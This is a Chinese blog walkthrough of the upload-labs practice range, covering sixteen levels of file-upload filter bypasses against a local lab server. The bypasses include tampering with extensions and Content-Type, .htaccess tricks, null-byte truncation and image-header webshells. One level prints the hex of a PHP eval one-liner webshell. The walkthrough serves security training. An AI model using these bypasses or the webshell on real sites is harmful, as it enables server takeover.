upload-labs文件上传靶场实操
文章目录
- 1.Pass-01
- 2.Pass-02
- 3.Pass-03
- 4.Pass-04
- 5.Pass-05
- 6.Pass-06
- 7.Pass-07
- 8.Pass-08
- 9.Pass-09
- 10.Pass-10
- 11.Pass-11
- 12.Pass-12
- 13.Pass-13
- 14.Pass-14
- 15.Pass-15
- 16.Pass-16
1.Pass-01
改后缀名绕过
只能上传图片,先上传一个jpg格式的图片,然后抓包改格式
改成3.php,以及Content-Type
Content-Type: application/octet-stream
上传成功后点击图片位置右键获取链接
得到http://127.0.0.1:9005/upload/3.jpg
改成php格式的就是payload
http://127.0.0.1:9005/upload/3.php
2.Pass-02
Content-Type绕过
使用上一关的方法还是提示报错,说明存在过滤
这里的办法是使用重复类型Content-Type
即既然它以Content-Type为准,那么我就先给他一个正确的Content-Type,然后再改后缀为.php
发现上传成功
getshell成功
3.Pass-03
方法一:本地文件包含
直接上传非php文件,使用本地包含文件getshell
方法二:httpd.conf黑名单绕过
黑名单规则不严谨,在某些特定环境中某些特殊后缀仍会被当作php文件解析
php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml
但是以上方法对nts版本的apache无效,需使用类似如下的版本
然后在httd.conf新增类型,再重启服务就可以解析php4了
4.Pass-04
htaccess绕过
但是看来被过滤了
上传htaccesss试下
该文件的意思是,只要遇到文件名中包含有”backlion.jpg”字符串的任意文件,统一被当作php执行。如果这个” backlion.jpg”的内容是一句话木马,即可利用中国菜刀进行连接
前提条件是:大于等于php版本5.3.39以下
成功了
那么上传一个backlion.jpg的文件试下
上传成功,也被解析了
使用菜刀成功getshell
5.Pass-05
大小写绕过
这关过滤了htaccess
但是,只是通过大小写就上传成功了
6.Pass-06
空格绕过
测试的时候可以这样测
3.php
3.php .jpg
3.php . .jpg
3.php . . jpg
7.Pass-07
点绕过
8.Pass-08
特殊符号::$DATA绕过
测试是需把::$DATA删掉
9.Pass-09
. .绕过
执行后会自动去掉最后一个点
然后保存时又会去掉最后1个点
结果就保存了5.php
10.Pass-10
多写绕过
会自动删掉php
那么我就多写绕过
11.Pass-11
%00截断目录
由于目录可控,且是百名单过滤,因此使用%00截断
并新建55.php,而filename里依旧上传jpg
12.Pass-12
16进制00截断目录
这关目录还是可控
33.php的16进制后面加00
上传后会自动新建33.php而抛弃后面的.jpg
13.Pass-13
本地文件包含+文件头绕过
文件头简介,不同的图片文件都有不同文件头,如:
PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
JPEG: 文件头标识 (2 bytes): 0xff, 0xd8
GIF: 文件头标识 (6 bytes) GIF89a
白名单过滤,而且必须在内容里添加图片文件头,根据文件头生成图片
jpg需要输入16进制的ffd8
png文件头是16进制的8950
但是试想这一关如果没有文件包含漏洞的话又该怎么破呢
14.Pass-14
本地文件包含+图片马
和上一关一样,提示还是使用文件包含和图片马
GIF89a
Jpg 需在cmd使用copy命令制作图片马绕过
Png 89 50 4E 47 0D 0A 1A 0A
15.Pass-15
本地文件包含+图片马
源代码提示需开启php_exif
打开php.ini
把;extension=php_exif.dll前面的;去掉就行,然后重启服务
GIF:GIF89a
Jpg 需制作图片马
Png:
‰PNG
16.Pass-16
二次渲染+条件竞争
这关好像用到了二次渲染,因为上传后的图片马都找不到一句话木马了
针对二次渲染,需要用到一个对比工具Emeditor,找出没有改动的那块贴进一句话木马进去
首先把一句话木马复制出来
3C 3F 70 68 70 20 40 65 76 61 6C 28 24 5F 50 4F 53 54 5B 22 66 6E 61 6D 65 22 5D 29 3B 3F 3E 1A
然后找到没有改动的地方
这里我们选择下面的
保存出来再试下
Jpg和PNG的情况使用之前的方法搞不定,因为jpg是压缩编码的,据说需要使用脚本实现,而且成功率不高,而png几乎找不到没改动的,这两个单独提取出来做一个任务
解决方法是使用条件竞争实现,具体操作可参考
https://blog.csdn.net/wutiangui/article/details/131474195
Png格式
Jpg格式
相关文章:
upload-labs文件上传靶场实操
文章目录 1.Pass-012.Pass-023.Pass-034.Pass-045.Pass-056.Pass-067.Pass-078.Pass-089.Pass-0910.Pass-1011.Pass-1112.Pass-1213.Pass-1314.Pass-1415.Pass-1516.Pass-16 1.Pass-01 改后缀名绕过 只能上传图片,先上传一个jpg格式的图片,然后抓包改格…...
leetcode分类刷题:队列(Queue)(二、优先队列解决TopK简单问题)
1、优先队列好像一般都叫堆,以大顶堆为例,顶部第一个元素最大,底部最后一个元素最小,自顶向底是递减的(更准确的说是非递增的),对外只能访问顶部第一个元素(对应索引为0)…...
【排障记录】扩展坞USB 3.0能用而2.0不能用
一、症状表现 日常使用小米的一个扩展坞连接笔记本,平时用来插U盘,没有什么问题,但是今天插了鼠标键盘,发现根本不识别 二、排查过程 目前的连接结构 笔记本C口→type-C延长线→扩展坞A→设备 1.排查笔记本故障 将键盘鼠标插…...
01-从JDK源码级别剖析JVM类加载机制
上一篇:JVM虚拟机调优大全 1. 类加载运行全过程 当我们用java命令运行某个类的main函数启动程序时,首先需要通过类加载器把主类加载到JVM。 public class Math {public static final int initData 666;public static User user new User();public i…...
AI时代:探索机器学习与深度学习的融合之旅
文章目录 1. 机器学习和深度学习简介1.1 机器学习1.2 深度学习 2. 为什么融合是必要的?2.1 数据增强2.2 模型融合 3. 深入分析:案例研究3.1 传统机器学习方法3.2 深度学习方法3.3 融合方法 4. 未来展望结论 🎉欢迎来到AIGC人工智能专栏~AI时代…...
模块化开发_groupby查询think PHP5.1
要求按照分类的区别打印出不同类别的数据计数 如张三,做了6件事情 这里使用原生查询先测试 SELECT cate_id, COUNT(*) AS order_count FROM tp_article GROUP BY cate_id;成功 然后项目中实现 public function ss(){$sql "SELECT cate_id, COUNT(*) AS orde…...
elementUI时间选择器
<template>//月选择器//:clearable"false" 去掉<div class"monthCard"><el-date-picker:clearable"false"v-model"monthValue"type"month"placeholder"选择月"change"handleChangeMonth($eve…...
第1章_瑞萨MCU零基础入门系列教程之单片机程序的设计模式
本教程基于韦东山百问网出的 DShanMCU-RA6M5开发板 进行编写,需要的同学可以在这里获取: https://item.taobao.com/item.htm?id728461040949 配套资料获取:https://renesas-docs.100ask.net 瑞萨MCU零基础入门系列教程汇总: ht…...
【UE】刀光粒子效果——part2 材质函数部分
效果 步骤 1. 新建一个材质函数,这里命名为“MF_TextureCommon” 2. 新建一个材质,这里命名为“Mat_GuangBan1”,添加如下节点 3. 接下来将该材质的逻辑添加到材质函数上,复制材质“Mat_GuangBan1”中的如下节点,粘贴…...
为什么项目经理的时间观念这么重?
项目经理的时间观念强是因为项目管理涉及到时间、成本和质量的平衡。 项目经理需要按时按质地交付项目,这不仅关乎项目本身的质量和进度,还关乎团队的士气和客户的满意度。 在项目管理过程中,存在大量的时间浪费现象,也可以把它…...
编码转换流
同理,创建f1和f2方法,分别测试OutputStreamWriter和InputStreamReader 也是主要分三步,即1创建流 2使用流 3关流 OutputStreamWriter f1方法 因为要操作流,所以先创建一个try-catch-finally结构,创建流对象Out…...
Pycharm创建项目时如何自动添加头部信息
1.打开PyCharm,选择File--Settings 2.依次选择Editor---Code Style-- File and Code Templates---Python Script 3..添加头部内容 可以根据需要添加相应的信息 #!/usr/bin/python3可用的预定义文件模板变量为:$ {PROJECT_NAME} - 当前项目的名称。$ {NAM…...
DAY48
#ifndef QUEUE_H #define QUEUE_H#include<iostream>using namespace std;#define MAX 10typedef int datatype;template <typename T> class queue {T data[MAX];T front;T tail;public:queue();~queue();queue(const T &other);//创建循环队列T *queue_crea…...
光栅和矢量图像处理:Graphics Mill 11.4.1 Crack
Graphics Mill 是适用于 .NET 和 ASP.NET 开发人员的最强大的成像工具集。它允许用户轻松向 .NET 应用程序添加复杂的光栅和矢量图像处理功能。 光栅图形 加载和保存 JPEG、PNG 和另外 8 种图像格式 调整大小、裁剪、自动修复、色度键和 30 多种其他图像操作 可处理任何尺寸&am…...
vue3中组件没有被调用,没进去也没报错
在父页面引用了一个组件,然后父级调用子组件方法,但是根本没进去,也不报错 父级页面挂载组件 <!-- 视频插件组件 --> <div><VideoPluginView ref"video_perview_ref"></VideoPluginView> </div> …...
Postgresql中ParamListInfoData的作用
ParamListInfoData是参数的统一抽象,例如 在pl中执行raise notice %, n;n的值会拼成select n到SQL层取值,但值在哪呢,还是在pl层。对sql层来说,n的一种可能性是参数,在这种可能性中,n的数据放在ParamListI…...
《计算机视觉中的多视图几何》笔记(1)
1 Introduction – a Tour of Multiple View Geometry 本章介绍了本书的主要思想。 1.1 Introduction – the ubiquitous projective geometry 为了了解为什么我们需要射影几何,我们从熟悉的欧几里得几何开始。 欧几里得几何在二维中认为平行线是不会相交的&…...
YOLO目标检测——火焰检测数据集+已标注xml和txt格式标签下载分享
实际项目应用:火灾预警系统、智能监控系统、工业安全管理、森林火灾监测以及城市规划和消防设计等应用场景中具有广泛的应用潜力,可以提高火灾检测的准确性和效率,保障人员和财产的安全。数据集说明:YOLO火焰目标检测数据集&#…...
tkinter四大按钮:Button,Checkbutton, Radiobutton, Menubutton
文章目录 四大按钮Button连击MenubuttonCheckbuttonRadiobutton tkinter系列: GUI初步💎布局💎绑定变量💎绑定事件💎消息框💎文件对话框控件样式扫雷小游戏💎强行表白神器 四大按钮 tkinter中…...
Sudowrite:基于人工智能的AI写作文章生成工具
【 产品介绍】 名称 Sudowrite 成立/上线时间 2023年 具体描述 Sudowrite是一个基于GPT-3的人工智能写作工具,可以帮助你快速生成高质量的文本内容, 无论是小说、博客、营销文案还是学术论文。 Sudowrite可以根据你的输入和指…...
加密狗软件有什么作用?
加密狗软件是一种用于加密和保护计算机软件和数据的安全设备。它通常是一个硬件设备,可以通过USB接口连接到计算机上。加密狗软件的作用主要体现在以下几个方面: 软件保护:加密狗软件可以对软件进行加密和授权,防止未经授权的用户…...
嵌入式Linux驱动开发(I2C专题)(二)
I2C系统的重要结构体 参考资料: Linux驱动程序: drivers/i2c/i2c-dev.cI2CTools: https://mirrors.edge.kernel.org/pub/software/utils/i2c-tools/ 1. I2C硬件框架 2. I2C传输协议 3. Linux软件框架 4. 重要结构体 使用一句话概括I2C传输:APP通过I2…...
SMT贴片制造:发挥的作用和价值]
SMT贴片制造作为一项重要的电子制造技术,发挥着举足轻重的作用,并提供了巨大的价值。 首先,SMT贴片制造为电子产品的制造商提供了高效、准确和可靠的生产方式。相比于传统的手工焊接,SMT贴片制造具有更高的自动化和智能化程度&am…...
蓝桥杯官网练习题(幸运数字)
问题描述 小蓝认为如果一个数含有偶数个数位,并且前面一半的数位之和等于后面一半的数位之和,则这个数是他的幸运数字。例如 2314 是一个幸运数字, 因为它有 4 个数位, 并且 2314 。现在请你帮他计算从 1 至 100000000 之间共有多少个不同的幸运数字。 …...
pandas笔记:显示中间的省略号
比如我们有这样一个数据(Geolife中的数据) 如何把中间的省略号完整地输出呢? pd.set_option(display.max_rows, None) data...
解决vagrant安装的centos7,在window主机重装系统过后,再次用vagrant启动centos7却无法启动
场景: vagrant安装的centos7,在window主机重装系统过后,再次用vagrant启动centos7却无法启动 检查 VirtualBox 版本:确保你安装的 VirtualBox 版本与 Vagrant 兼容。如果你更新了 VirtualBox,可能需要同时更新 Vagran…...
嵌入式这个领域会变得过于内卷吗?
今日话题,嵌入式这个领域会变得过于内卷吗?嵌入式开发主要服务于第二产业,尤其是制造业,包括电器、电气、机械、汽车、装备、航空航天等行业的“智能制造”部门,稳定性较强,不像互联网行业那样波动大。因此…...
Linux下安装和使用MySQL的详细教程
✅作者简介:2022年博客新星 第八。热爱国学的Java后端开发者,修心和技术同步精进。 🍎个人主页:Java Fans的博客 🍊个人信条:不迁怒,不贰过。小知识,大智慧。 💞当前专栏…...
【Linux】多线程互斥与同步
文章目录 一、线程互斥1. 线程互斥的引出2. 互斥量3. 互斥锁的实现原理 二、可重入和线程安全三、线程和互斥锁的封装1. 线程封装1. 互斥锁封装 四、死锁1. 死锁的概念2. 死锁的四个必要条件3. 避免死锁 五、线程同步1. 线程同步的理解2. 条件变量 一、线程互斥 1. 线程互斥的…...
从零开始:云服务器构建网站的完全指南
目录 一、服务器 二、部署项目 三、购买域名 顶级域名 二级域名 子域名 主机名 四、域名解析 一、服务器 国内华为云、阿里云、腾讯云等看你的选择; 可以选择Linux:CentOS、Ubuntu这些系统版本,更稳定; 服务器控制台&a…...
wordpress 设置数据库/个人免费开发app
文档类1 相关类CDocument类-父类是CCmdTarget类,所以,文档类也可以处理菜单等命令消息。作用保存和管理数据。注意事项:如何解决断言错误2 在视图中显示文档中的数据2.1 CView::OnInitialUpdate作用初始化视图,在附加文档之后&…...
苏州市高新区建设局官方网站/关键词工具软件
除了PCM 封装成wav让一般的播放能正常播放外,然后Wav可以封装很多压缩的音频数据。如: ADPCM, DTS LPCM, 等。在这就收藏一些wav 封装ADPCM的头格式剖析信息 WAVE文件头作为多媒体中使用的声波文件格式之一,它是以RIFF格式为标准的。RIFF是英文Resource …...
电子商务网站建设与规划/百度上怎么免费开店
目 录 摘 要 i Abstract ii 1 绪论 1 1.1 课题背景及意义 1 1.2 开发工具的选用及介绍 1 1.3 选题目的和意义 2 1.4 本文主要研究的内容 2 2 需求分析 3 2.1 可行性分析 3 2.2 扫雷游戏功能描述 3 2.3 扫雷游戏用例图 4 2.4 扫雷游戏功能需求 4 2.5 扫雷游戏界面需求 5 2.6 扫雷…...
怎么建立一个网站?/网站建设推广多少钱
2019独角兽企业重金招聘Python工程师标准>>> Spring Boot支持Java Util Logging、Log4J、Log4J2和LockBack作为日志框架,无论使用哪种日志框架,Spring Boot都为当前使用的日志框架的控制台及文件输出做好了配置。 默认使用LockBack日志框架。…...
杭州的做网站公司/培训心得体会1500字
以此来记录我个人的学习历程!~~转载于:https://www.cnblogs.com/Gogo-ouchen/p/4623185.html...
网页版梦幻西游官网/武汉网站seo德升
功能单元的最大扇入扇出工具分析文档名称:功能单元最大扇入扇出工具分析作 者:日 期:1. 概念由于度量的目标是C源代码,所以“功能单元的最大扇入扇出”的含义如下:功能单元:c语言的函数。扇入:有多少其他函…...